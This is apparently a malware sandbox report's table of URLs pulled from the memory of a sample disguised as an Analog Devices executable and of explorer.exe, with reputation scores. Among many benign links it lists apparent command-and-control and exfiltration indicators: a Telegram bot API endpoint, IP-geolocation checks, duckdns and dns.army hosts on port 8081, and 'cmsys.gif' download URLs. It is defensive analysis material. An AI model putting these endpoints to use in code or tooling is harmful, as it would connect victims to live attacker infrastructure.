https://api.telegram.org/bot	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
https://zxq.net/cmsys.gifn	explorer.exe, 00000004.00000003.2192944806.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea.png	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false	1%, Virustotal, Browse	unknown
https://zxq.net/what-happened-to-the-old-zxq-website/#breadcrumb	cmsys.cmn.4.dr	false	1%, Virustotal, Browse	unknown
https://www.office.com/lB	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003590000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.3.dr	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=en	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003564000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003595000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://vccmd01.zxq.netst.exe	explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/cmsys.gife	explorer.exe, 00000004.00000003.2192944806.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966750322.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://www.sajatypeworks.com	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.3.dr	false	0%, Virustotal, Browse	unknown
http://www.founder.com.cn/cn/cThe	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/wp-content/uploads/2022/02/ZXQ.png	cmsys.cmn.4.dr	false	1%, Virustotal, Browse	unknown
https://zxq.net/wp-content/uploads/2024/09/Essential-Renovation-Tips-for-Singapore-Homes-Sidestep-Th	cmsys.cmn.4.dr	false	1%, Virustotal, Browse	unknown
https://zxq.net/about-us/	cmsys.cmn.4.dr	false	1%, Virustotal, Browse	unknown
http://checkip.dyndns.org/q	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.000000000355F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/#logo	cmsys.cmn.4.dr	false	1%, Virustotal, Browse	unknown
http://www.galapagosdesign.com/DPlease	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/cmsys.gifB	explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.000000000076D000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home-150x8	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false	1%, Virustotal, Browse	unknown
http://vccmd01.zxq.net/cmsys.gifbbpz10	explorer.exe, 00000004.00000003.2093476582.0000000000737000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/news/technology/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/themes/smart-mag/js/jquery.sticky-sidebar.js?ver=7.1.1	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://www.urwpp.deDPlease	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1746073791.000000000265D000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/wp-json/	explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966720295.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000003.00000003.1674131814.0000020527CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	false		unknown
http://www.sakkal.comY	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763504867.000000000509C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-1024x576.png	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://reallyfreegeoip.org/xml/	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033F2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://vccmd01.zxq.net/cmsys.gif3bbpz10	explorer.exe, 00000004.00000003.1851087658.0000000000736000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.office.com/	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003595000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003586000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://vccmd02.googlecode.com/files/cmsys.gif6	explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-150x84.png	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2024/10/How-to-Handle-Quick-Home-Repairs-Without-Professional-Hel	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/plugins/table-of-contents-plus/front.min.js?ver=2106	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://crl.ver)	svchost.exe, 00000003.00000002.2945430271.0000020527A00000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004626000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004674000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000034AB000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004482000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044D0000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044F7000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000474A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://schema.org	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.0000000000786000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false	URL Reputation: safe	unknown
https://zxq.net/wp-content/plugins/table-of-contents-plus/screen.min.css?ver=2106	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
http://www.carterandcone.coml	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://vccmd02.googlecode.com/files/cmsys.gif#	explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/?s=	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-content/uploads/2024/09/Finance-Phantom-Review-	cmsys.cmn.4.dr	false		unknown
http://www.fontbureau.com/designers/frere-user.html	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1763578507.0000000006802000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/what-happened-to-the-old-zxq-website/WC:	explorer.exe, 00000004.00000003.1966720295.0000000003B86000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/#webpage	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/qqC:	explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093476582.0000000000754000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://vccmd03.googlecode.com/files/cmsys.gif7	explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/news/entertainment/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/wp-includes/wlwmanifest.xml	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847892635.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://reallyfreegeoip.org	adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033F2000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003461000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://zxq.net/what-happened-to-the-old-zxq-website/0	explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966822467.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1967981493.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2022/03/follow-us-on-google-news-banner-black-300x117.png	cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/2	explorer.exe, 00000004.00000003.1848039203.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/10/Snoring-and-Sleep-Apnea-768x432.png	explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	false		unknown
https://zxq.net/snoring-and-sleep-apnea/	cmsys.cmn.4.dr	false		unknown
https://zxq.net/what-happened-to-the-old-zxq-website/1	explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966822467.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1967981493.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://zxq.net/wp-content/uploads/2024/09/Top-Modern-Security-Devices-to-Install-in-Your-Home-300x1	cmsys.cmn.4.dr	false		unknown
